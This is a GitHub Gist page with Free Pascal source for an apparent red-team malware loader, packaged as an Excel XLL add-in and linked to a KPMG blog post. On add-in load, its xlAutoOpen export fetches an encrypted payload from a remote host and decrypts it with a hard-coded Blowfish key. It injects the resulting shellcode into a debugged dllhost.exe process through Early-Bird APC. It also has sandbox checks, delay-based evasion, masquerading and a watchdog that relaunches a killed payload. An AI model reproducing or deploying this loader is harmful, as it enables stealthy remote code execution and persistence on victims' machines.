Last active
December 6, 2024 21:11
-
-
Save zux0x3a/a59666765a4a15705c0f80cbe838733e to your computer and use it in GitHub Desktop.
Mortar Loader Excel Add-ins profile
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Library agressor; | |
| // blogpost : https://kpmg.com/nl/en/home/insights/2024/12/mortar-loader-in-practice-stealth-attack-with-microsoft-office-add-ins-and-onedrive.html | |
| {$mode objfpc} {$H+} // take a deep breath | |
| uses | |
| Classes, windows, blowfish, runner,base64, shell_loader, | |
| strutils, SysUtils,syscalls, Core,jwawinbase; | |
| function QueueUserAPC(pfnAPC: PAPCFUNC; hThread: HANDLE; dwData: ULONG_PTR): DWORD; external 'Kernel32.dll' name 'QueueUserAPC'; | |
| const | |
| MASTER_DEC_KEY:array[0..9] of BYTE = ($7a,$75,$78,$69,$61,$6d,$68,$65,$72,$61); // | |
| buffersize = 1024; | |
| const | |
| Proc = 'QzpcV2luZG93c1xzeXN0ZW0zMlxEbGxIb3N0LmV4ZSAvUHJvY2Vzc2lkOns3RUFENUMxMC04QjNGLTExRTYtQUUyMi01NkI2QjY0OTk2MTF9'; //T1036 | |
| const | |
| TARGET_PROC = 'dllhost.exe /Processid:{8EAD5C11-8B3F-11E6-AE20-56B6B6499611}'; | |
| Const | |
| SLEEP_VALUE = 0.2; // change this to customize your delay procedure. | |
| type | |
| TmyLib = class | |
| public | |
| function Data_DE(forked:string; URL:Pansichar ; Local:Boolean):string; | |
| // procedure birdy(Proc:string; URL:Pansichar); // make it only remote | |
| procedure birdy(Proc:string; URL:Pansichar); stdcall; | |
| end; | |
| type | |
| TByteArray = array of byte; | |
| type | |
| TOnTimer = procedure(Sender: TObject) of object; | |
| type | |
| TSleep_Timer = class(Tthread) | |
| private | |
| FTime: QWORD; | |
| FInterval: Cardinal; | |
| FOnTimer: TOnTimer; | |
| FEnabled: Boolean; | |
| procedure DoOnTimer; | |
| protected | |
| procedure execute(lpszCmdLine:Pansichar); virtual; | |
| public | |
| property OnTimer: TOnTimer read FOnTimer write FOnTimer; | |
| property Interval: Cardinal read FInterval write FInterval; | |
| property Enabled: Boolean read FEnabled write FEnabled; | |
| procedure StopTimer; | |
| procedure StartTimer; | |
| constructor Create(CreateSuspended: Boolean); | |
| destructor Destroy; override; | |
| end; | |
| var | |
| TTimerEX : TSleep_Timer; | |
| GLobal_payload : Pansichar; | |
| TLib : TmyLib; | |
| procedure ReadEnvironmentVar; stdcall; | |
| var | |
| hPipe : THandle; | |
| BytesRead : DWORD; | |
| //buffer : Array [0..255] of char; | |
| buffer : Array [0..Buffersize -1 ] of Ansichar; | |
| begin | |
| hPipe := CreateNamedPipe('\\.\pipe\moj_ML_ntsvcs',PIPE_ACCESS_INBOUND,PIPE_TYPE_BYTE OR PIPE_READMODE_BYTE,1,0,0,0,NIL); | |
| IF (hPipe = INVALID_HANDLE_VALUE) THEN | |
| BEGIN | |
| exit; | |
| end; | |
| if (ConnectNamedPipe(hPipe,nil) <> False) then begin | |
| // read from named pipe | |
| if (ReadFile(hPipe,@buffer,sizeof(buffer) - 1,@bytesread,nil) <> false) then | |
| begin | |
| buffer[bytesread] := #0; | |
| TLib.birdy('',buffer); //execute Early-B | |
| end | |
| else | |
| DisconnectNamedPipe(hPipe); | |
| end; | |
| CloseHandle(hPipe); | |
| end; | |
| constructor TSleep_Timer.Create(CreateSuspended: Boolean); | |
| begin | |
| inherited Create(CreateSuspended); | |
| FInterval := 10000; | |
| FreeOnTerminate := True; | |
| FEnabled := True; | |
| end; | |
| destructor TSleep_Timer.Destroy; | |
| begin | |
| inherited Destroy; | |
| end; | |
| procedure TSleep_Timer.DoOnTimer; | |
| var | |
| server:string; | |
| isactive : boolean; | |
| TLib : TmyLib; | |
| begin | |
| if Assigned(FOnTimer) then | |
| FOnTimer(Self); | |
| { Enable the watch dog to check if process is there | |
| - get the created process ID | |
| - check if killed or active | |
| - save the parameter | |
| - get the path of Agressor on the system | |
| - run the program again. | |
| } | |
| isactive := isproc(global_proc_id); | |
| if not isactive then | |
| begin | |
| // MessageboxA(0,'the process has been killed','Windows Photo Viewer',MB_OK); # enabled for debug only | |
| TLib.Data_DE(decodestringbase64(Proc),pchar(DecodeStringBase64(global_payload)),false); | |
| end; | |
| end; | |
| // here is teh function for timers only | |
| // | |
| procedure TSleep_Timer.execute(lpszCmdLine:Pansichar); | |
| var | |
| server : string; | |
| begin | |
| while not Terminated do | |
| begin | |
| Sleep(1); | |
| if (GetTickCount64 - FTime > FInterval) and (FEnabled) then | |
| begin | |
| FTime := GetTickCount64; | |
| Synchronize(@DoOnTimer); | |
| end; | |
| end; | |
| end; | |
| procedure TSleep_Timer.StopTimer; | |
| begin | |
| FEnabled := False; | |
| end; | |
| procedure TSleep_Timer.StartTimer; | |
| begin | |
| FTime := GetTickCount64; | |
| FEnabled := True; | |
| if Self.Suspended then | |
| Start; | |
| end; | |
| function Base64ToMS(const AINBase64:widestring; AOut_Stream: TMemoryStream; const A_Strict: Boolean=false):Boolean; | |
| var | |
| In_Stream: TStringStream; | |
| De_coder: TBase64DecodingStream; | |
| begin | |
| Result := False; | |
| In_Stream := TStringStream.Create(AINBase64); | |
| try | |
| // if A_Strict then | |
| // De_coder := TBase64DecodingStream.Create(In_Stream, bdmStrict) | |
| // else | |
| De_coder := TBase64DecodingStream.Create(In_Stream,bdmMIME); | |
| try | |
| // Aout_Stream.Position:=0; | |
| AOut_Stream.Seek(0,sofrombeginning); | |
| AOut_Stream.CopyFrom(De_coder,De_coder.Size); | |
| Result := True; | |
| finally | |
| De_coder.Free; | |
| end; | |
| finally | |
| In_Stream.Free; | |
| end; | |
| end; | |
| Function DEC_Func (AINData:string; var MS: TMemoryStream):boolean; | |
| var | |
| helper,str_strm: TstringStream; | |
| de_operator : TBLOWFishDecryptStream; | |
| Mem_Strm : TMemoryStream; | |
| TMP_data : Widestring; | |
| Proc_Handle : THandle; | |
| Key : RawByteString; | |
| M_File : string; | |
| // Tempo | |
| Tempo : Tstringlist; | |
| begin | |
| helper := TstringStream.Create; | |
| helper.Write(AINData[1],length(AINData) * sizeof (AINData[1])); | |
| key := TEncoding.UTF8.GetString(MASTER_DEC_KEY); // getting string value of array of bytes. | |
| str_strm := TStringStream.Create(helper.DataString); | |
| de_operator := TBlowFishDeCryptStream.Create(key,str_strm); // decrypt the content of helper.Datastring | |
| // read the decrypted base64 decrypted data | |
| SetLength(TMP_data,str_strm.Size); | |
| de_operator.Read(TMP_data[1],str_strm.Size); | |
| // create final memory steam to decode base64 in the memory | |
| MS := TMemoryStream.Create; | |
| // MS.Position:=0; | |
| Base64ToMS(TMP_data,MS,false); | |
| // Free components | |
| // helper.free; | |
| // MS.Free; | |
| // str_strm.Free; | |
| end; | |
| procedure TmyLib.birdy(Proc:string; URL:Pansichar); stdcall; | |
| var | |
| hProcess, hThread: THandle; | |
| dwProcessId: DWORD; | |
| pAddress: PVOID; | |
| str_de :string; | |
| tmp_payload : widestring; | |
| str_list : Tstringlist; | |
| AmemStr : Tmemorystream; | |
| pas_fmt : string; | |
| payload : array of byte; | |
| i: Cardinal; | |
| s_size : SIZE_T; | |
| shell_prt : widestring ; | |
| TID: DWORD; | |
| NumRead,NumWritten : word; | |
| total : Longint; | |
| fin,fout :file; | |
| begin | |
| hProcess := 0; | |
| hThread := 0; | |
| dwProcessId := 0; | |
| pAddress := nil; | |
| AmemStr := TMemoryStream.Create; | |
| str_list := Tstringlist.Create; | |
| tmp_payload := fetch_enc_file(DecodeStringBase64(url)); | |
| DEC_func(tmp_payload,AMemStr); | |
| AmemStr.Position:=0; // align the position. | |
| Str_list.LoadFromStream(AmemStr); | |
| // AmemStr.Free; // Testing 1 | |
| Pas_fmt := convertshellcode(Str_list.text); | |
| s_size := GetShellCodeSize(Pas_fmt); | |
| setLength(payload,s_size); | |
| // Str_list.Free; // Testing 2 | |
| For i := 0 to s_size -1 Do begin | |
| shell_prt := Copy(pas_fmt,1,pos(',',pas_fmt)-1); | |
| if i <> s_size -1 Then system.Delete(pas_fmt,1,pos(',',pas_fmt)) else | |
| shell_prt := pas_fmt; | |
| // copy each byte into array | |
| payload[i] := StrToInt(shell_prt); | |
| end; | |
| {*********** convert string to Tbyte Array ****************** } | |
| // Creating target remote process (in debugged state), thanks to MalDEVAcademy | |
| if not Debugable_proc(TARGET_PROC, dwProcessId,TID, hProcess, hThread) then | |
| begin | |
| Exit; | |
| end; | |
| // hProcess := getcurrentprocess(); | |
| if not InJect00r(hProcess, Payload, length(Payload), pAddress) then | |
| begin | |
| Exit; | |
| end; | |
| QueueUserAPC(TAPCPRoc(pAddress), hThread, 0); | |
| DebugActiveProcessStop(dwProcessId); | |
| CloseHandle(hProcess); | |
| CloseHandle(hThread); | |
| end; | |
| function TmyLib.Data_DE(forked:string; URL:Pansichar ; Local:Boolean):string; | |
| var | |
| AMemStr: TMemoryStream; | |
| processhandle:thandle; | |
| M_File:widestring; | |
| begin | |
| // Simple Checking :) | |
| if Local = true then | |
| M_File := getcurrentdir+'\bin.enc' | |
| else | |
| M_File := fetch_enc_file(URL); // fetch the payload from remote host + support SSL | |
| try | |
| AmemStr := TMemoryStream.Create; | |
| DEC_func(M_File,AMemStr); | |
| // | |
| DelayExecutionVia_NtDE(SLEEP_VALUE); | |
| /// | |
| // Fork_ProC(forked,runner.TByteArray(AMemStr.memory),processhandle); | |
| Finally | |
| Amemstr.Free; | |
| end; | |
| end; | |
| procedure ViewLogs(hwnd:HWND; hinst:HMODULE; lpszCmdLine:Pansichar; nCmdShow:Integer) stdcall; // match the signature of rundll32 | |
| var | |
| TLib : TmyLib; | |
| begin | |
| global_payload := lpszCmdLine; | |
| // MessageboxA(0,'the process has been killed','Windows Photo Viewer',MB_OK); | |
| if length(lpszCmdline) > 5 then | |
| begin | |
| TLib.Data_DE(decodestringbase64(Proc),pchar(DecodeStringBase64(lpszCmdLine)),false) | |
| end else | |
| TLib.Data_DE(decodestringbase64(Proc),pchar(DecodeStringBase64(lpszCmdLine)),True); // then it is local, so place the enc.bin file in the same path. | |
| (**************** TIMER STARTED ********************) | |
| { covert subroutine technique} | |
| TTimerEX := TSleep_Timer.Create(true); | |
| TTimerEX.execute(lpszCmdLine); | |
| end; | |
| procedure Main; stdcall; | |
| begin | |
| DelayExecutionVia_NtDE(SLEEP_VALUE); // put some delay here. | |
| end; | |
| procedure xlAutoOpen; stdcall; | |
| begin | |
| if isEmulated = true then | |
| exit | |
| else | |
| TLib.birdy('','PAYLOAD URL BASE64 ENCODED'); | |
| end; | |
| //exports ViewLogs; | |
| exports Main, | |
| xlAutoOpen; | |
| begin | |
| { | |
| if isEmulated = true then | |
| exit | |
| else | |
| sleep(1000); | |
| //ReadEnvironmentVar; | |
| // better to add some delay here to avoid detection | |
| } | |
| end. | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment